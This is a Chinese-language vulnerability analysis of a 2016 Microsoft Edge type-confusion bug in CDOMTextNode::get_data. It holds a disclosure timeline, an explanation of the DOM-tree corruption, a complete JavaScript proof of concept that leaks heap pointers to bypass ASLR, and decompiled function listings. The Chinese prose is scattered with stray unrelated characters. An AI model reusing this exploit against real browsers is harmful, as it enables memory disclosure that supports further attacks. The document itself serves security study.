1. Vulnerability Description
1.1 The Issue
MS Edge CDOMTextNode::get_data type confusion
特別構(gòu)造的JavaScript腳本可以觸發(fā)Microsoft Edge的type confusion廉羔,使得可以像訪問字符串一樣訪問C++對象。 這可能導(dǎo)致信息泄露鹃觉,例如允許攻擊者確定指向其他對象或函數(shù)的指針的值蝗蛙。
1.2 Affect version
Microsoft Edge 20.10240.16384.0
1.3 Timeline
01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update
2. Technical description and PoC
2.1 Description
在DOM樹中將一個節(jié)點(diǎn)作為子節(jié)點(diǎn)加到另一個節(jié)點(diǎn)時蠢莺,Edge首先從其父節(jié)點(diǎn)中刪除該節(jié)點(diǎn)宁玫,觸發(fā)DOMNodeRemoved事件丛肮,然后重新附加該節(jié)點(diǎn)作為另一個節(jié)點(diǎn)的最后一個子節(jié)點(diǎn)洲守。
而在DOMNodeRemoved事件發(fā)生時轩娶,JavaScript的事件處理器可以更改DOM樹儿奶,我們嘗試在觸發(fā)DOMNodeRemoved事件時向同一個父節(jié)點(diǎn)插入另一個文本子節(jié)點(diǎn),這個操作在事件期間完成鳄抒,因此該文本子節(jié)點(diǎn)在觸發(fā)事件的節(jié)點(diǎn)之前作為子節(jié)點(diǎn)附加闯捎。
而在觸發(fā)DOMNodeRemoved事件處理程序之前,代碼似乎確定了節(jié)點(diǎn)應(yīng)該被附加的位置许溅,因此最開始插入的節(jié)點(diǎn)在父文本節(jié)點(diǎn)之前而不是之后被插入瓤鼻。
因?yàn)閎ug的存在,在完成所有這些操作后贤重,DOM樹已被破壞茬祷。這可以通過檢查文本節(jié)點(diǎn)的.nextSibling屬性是文本節(jié)點(diǎn)本身來確認(rèn), 即DOM樹中有一個循環(huán)。
另一個效果是并蝗,讀取文本節(jié)點(diǎn)的nodeValue將導(dǎo)致類型混淆祭犯。這里Edge訪問文本節(jié)點(diǎn)中存儲的文本數(shù)據(jù)時秸妥,實(shí)際訪問的卻是一個C++對象。這樣可以讓攻擊者讀取存儲在這個C++對象中的數(shù)據(jù)沃粗,其中包含各種指針粥惧。
2.2 JavaScript PoC
Skylined給出了一個讀取并顯示DOM樹對象的部分內(nèi)容的PoC僧界。該P(yáng)oC已經(jīng)在x64系統(tǒng)上進(jìn)行了測試肝劲,允許攻擊者繞過堆ASLR,讀取堆指針崎淳。
讀取的數(shù)據(jù)量可以由攻擊者控制涡贱,并且可以讀取分配給C++對象的內(nèi)存之外的數(shù)據(jù)挂签。攻擊者可能能夠使用一些堆的技巧將其他對象與C++DOM樹對象中的有用信息放置在內(nèi)存中,并從第二個對象讀取數(shù)據(jù)盼产。
exp如下
<html>
<head>
<script>
var uNodeRemovedEvents = 0;
onerror = function (sError, sSource, uLine){
alert(sError + " on line " + uLine);
};
document.addEventListener("DOMNodeRemoved", function(oEvent) {
if (uNodeRemovedEvents++ == 0) {
oTextNode = document.createTextNode("[2]");
// 這里有一個需要注意的地方
// insertBefore在Edge中如果沒有第二個參數(shù),那么等同于appendChild
// 但是其他瀏覽器是不支持的
// 作者這里用insertBefore是為了更好的去判斷是否有一個堆因?yàn)榇颂幉僮鞅籥llocated
// 用于和之后的appendChild調(diào)用區(qū)分開
document.body.insertBefore(oTextNode);
};
}, true);
onload = function(){
// onload中首先執(zhí)行的是appendChild
// 這里oExistingChild已經(jīng)有了父節(jié)點(diǎn)勺馆,所以會先從父節(jié)點(diǎn)移除這個元素戏售,然后把它作為新父節(jié)點(diǎn)的最后一個子節(jié)點(diǎn)
// 其中移除操作會觸發(fā)DOMNodeRemoved事件,而增加操作會觸發(fā)DOMNodeInserted事件草穆。
document.body.appendChild(oExistingChild);
// 但是灌灾,在oExistingChild觸發(fā)DOMNodeRemoved事件時,
// oTextNode插入了節(jié)點(diǎn)中
// 最后oExistingChild成為了最后一個元素
// 但是這里出現(xiàn)了一個bug
// oTextNode的nextSibling指向了自己
// 在這里悲柱,DOM樹出現(xiàn)了一種類似循環(huán)的結(jié)構(gòu)
for (var oNode = document.body.firstChild; oNode && oNode != oNode.nextSibling; oNode = oNode.nextSibling) {
// 加上這段代碼是為了防止被Edge檢測到樹的結(jié)構(gòu)出現(xiàn)了問題
// 如果沒有這段代碼Js執(zhí)行到這里的時候就會崩潰
}
if (oTextNode.nextSibling !== oTextNode) {
// 未觸發(fā)漏洞時報錯
throw new Error("Tree is not corrupt");
}
alert("Set breakpoints if needed");
// 這里是為了生成一個copy
var sData = ("A" + oTextNode.nodeValue).substr(1);
// 下面的邏輯是讀取oTextNode.nodeValue的值
// 但實(shí)際上是內(nèi)存中某塊的位置
// 在讀取之后按規(guī)則格式化輸出
var sHexData = "Read 0x" + sData.length.toString(16);
sHexData += " bytes: ????????`????????";
sHexQWord = "`????????";
for (var uBytes = 4, uOffset = 4, uIndex = 0; uIndex < sData.length; uIndex++) {
var sHexWord = sData.charCodeAt(uIndex).toString(16);
while (sHexWord.length < 4) sHexWord = "0" + sHexWord;
sHexQWord = sHexWord + sHexQWord;
uBytes += 2;
if (uBytes == 4) sHexQWord = "`" + sHexQWord;
if (uBytes == 8) {
sHexData += " " + sHexQWord;
sHexQWord = "";
uBytes = 0;
};
};
if (sHexQWord) {
while (sHexQWord.length < 17) {
if (sHexQWord.length == 8) sHexQWord += "`";
sHexQWord = "????" + sHexQWord;
}
sHexData += " " + sHexQWord;
}
alert(sHexData);
// 代碼執(zhí)行到這里的時候會crash
// 但是這里已經(jīng)可以讀取棧上的數(shù)據(jù)了
oTextNode.nodeValue = "";
};
</script>
</head>
<body>x<x id=oExistingChild></x></body>
</html>
2.3 Code Analyze
上面這個利用流程锋喜,比較關(guān)鍵的幾個函數(shù)是CDOMTextNode::get_data、CDOMTextNode::get_length
讀取數(shù)據(jù)的函數(shù)是CDOMTextNode::get_data豌鸡,代碼如下
__int64 __fastcall CDOMTextNode::get_data(CDOMTextNode *this, unsigned __int16 **a2)
{
unsigned __int16 **v2; // rbx@1
CDOMTextNode *this_rdi; // rdi@1
Tree::TextData *v4; // rcx@2
__int32 v5; // eax@4
BSTR v6; // rax@4
int v7; // ebp@4
struct CTreePos *v8; // rax@4
struct CTreePos *v9; // rsi@4
Tree::TextNode *v10; // rdi@4
unsigned __int16 *v11; // rax@5
Tree::ANode *v12; // rax@5
CTreePos *v13; // rcx@6
__int64 v14; // r9@9
const OLECHAR *v15; // rax@9
UINT v16; // er9@9
BSTR v17; // rax@9
UINT ui; // [sp+48h] [bp+10h]@4
unsigned __int32 v20; // [sp+50h] [bp+18h]@5
v2 = a2;
this_rdi = this;
if ( a2 )
{
*a2 = 0i64;
v4 = (Tree::TextData *)*((_QWORD *)this + 6);
if ( v4 )
{
v14 = *(_DWORD *)v4;
v15 = Tree::TextData::GetText(v4, 0, 0i64);
v17 = SysAllocStringLen(v15, v16);
*v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v17);
}
else if ( CDOMTextNode::IsPositioned(this_rdi) )
{
ui = 0;
v5 = CDOMTextNode::get_length(this_rdi, (__int32 *)&ui);
Abandonment::CheckHRESULTStrict(v5);
v6 = SysAllocStringLen(0i64, ui);
*v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v6);
v7 = 0;
LODWORD(v8) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)this_rdi);
v9 = v8;
v10 = v8;
do
{
v11 = Tree::TextNode::Text(v10, 0, &v20);
memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20);
v7 += v20;
v12 = Tree::TreeReader::GetNextSiblingWithFilter(
v10,
(enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
v10 = v12;
}
while ( v12 && Tree::ANode::IsTextNode(v12) && CTreePos::IsSameTextOrCDataNode(v13, v9) );
}
}
return 0i64;
}
在函數(shù)中有一次調(diào)用
CDOMTextNode::get_length(this_rdi, (__int32 *)&ui)
代碼如下嘿般,其中a2的值是ui,也就是0涯冠,而CDOMTextNode::IsPositioned(this)返回值為真炉奴,即進(jìn)入了第二個邏輯,在該邏輯中進(jìn)行了長度的處理
獲取長度后蛇更,則在get_data函數(shù)中瞻赶,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)
這行代碼利用memcpy_s不斷讀取內(nèi)存中的值至長度到達(dá)之前get_length函數(shù)返回的值位置。
這里讀取的是v11指向中保存地址指向的值派任,那我們再上溯砸逊,v11 = Tree::TextNode::Text(v10, 0, &v20);
,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一個結(jié)構(gòu)體指針掌逛,而調(diào)用該函數(shù)的參數(shù)是rcx师逸。
__int64 __fastcall CDOMTextNode::get_length(CDOMTextNode *this, __int32 *a2)
{
__int32 *v2; // rax@1
signed int v3; // ebx@1
__int32 *v4; // rsi@1
CDOMTextNode *v5; // rdi@1
struct CTreePos *v7; // rax@6
struct CTreePos *v8; // rbp@6
struct CTreePos *v9; // r11@6
__int32 v10; // edi@6
Tree::ANode *v11; // rax@7
CTreePos *v12; // rcx@8
v2 = (__int32 *)*((_QWORD *)this + 6);
v3 = 0;
v4 = a2;
v5 = this;
if ( v2 )
{
*a2 = *v2;
}
else if ( CDOMTextNode::IsPositioned(this) )
{
LODWORD(v7) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)v5);
v8 = v7;
v9 = v7;
v10 = 0;
do
{
v10 += **((_DWORD **)v9 + 7);
v11 = Tree::TreeReader::GetNextSiblingWithFilter(
v9,
(enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
}
while ( v11 && Tree::ANode::IsTextNode(v11) && CTreePos::IsSameTextOrCDataNode(v12, v8) );
*v4 = v10;
}
else
{
v3 = -2147024809;
}
return (unsigned int)v3;
}
2.4 Dynamic Analysis
對get_data下斷點(diǎn)后開始單步跟蹤,發(fā)現(xiàn)這里get_length函數(shù)的返回值和節(jié)點(diǎn)oExistingChild的長度相關(guān)颤诀,也就是說字旭,這里出現(xiàn)了一個bug对湃,在本來應(yīng)該讀取textnode的長度的時候,返回了一個和oExistingChild長度相關(guān)的數(shù)值遗淳,即我們可以一定程度上控制讀取的數(shù)據(jù)長度拍柒,當(dāng)然,這里數(shù)據(jù)如果太長屈暗,在讀取的時候會觸發(fā)一個訪問錯誤拆讯,導(dǎo)致進(jìn)程崩潰無法繼續(xù)讀取。
最后結(jié)合動態(tài)調(diào)試和代碼分析發(fā)現(xiàn)length是從結(jié)構(gòu)體指針處偏移0x1c的位置指向的指針指向的位置中取出來养叛,即first_struct->other_struct->length种呐。而讀取的地址位置則是結(jié)構(gòu)體指針偏移0xC的位置。
3. References
1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog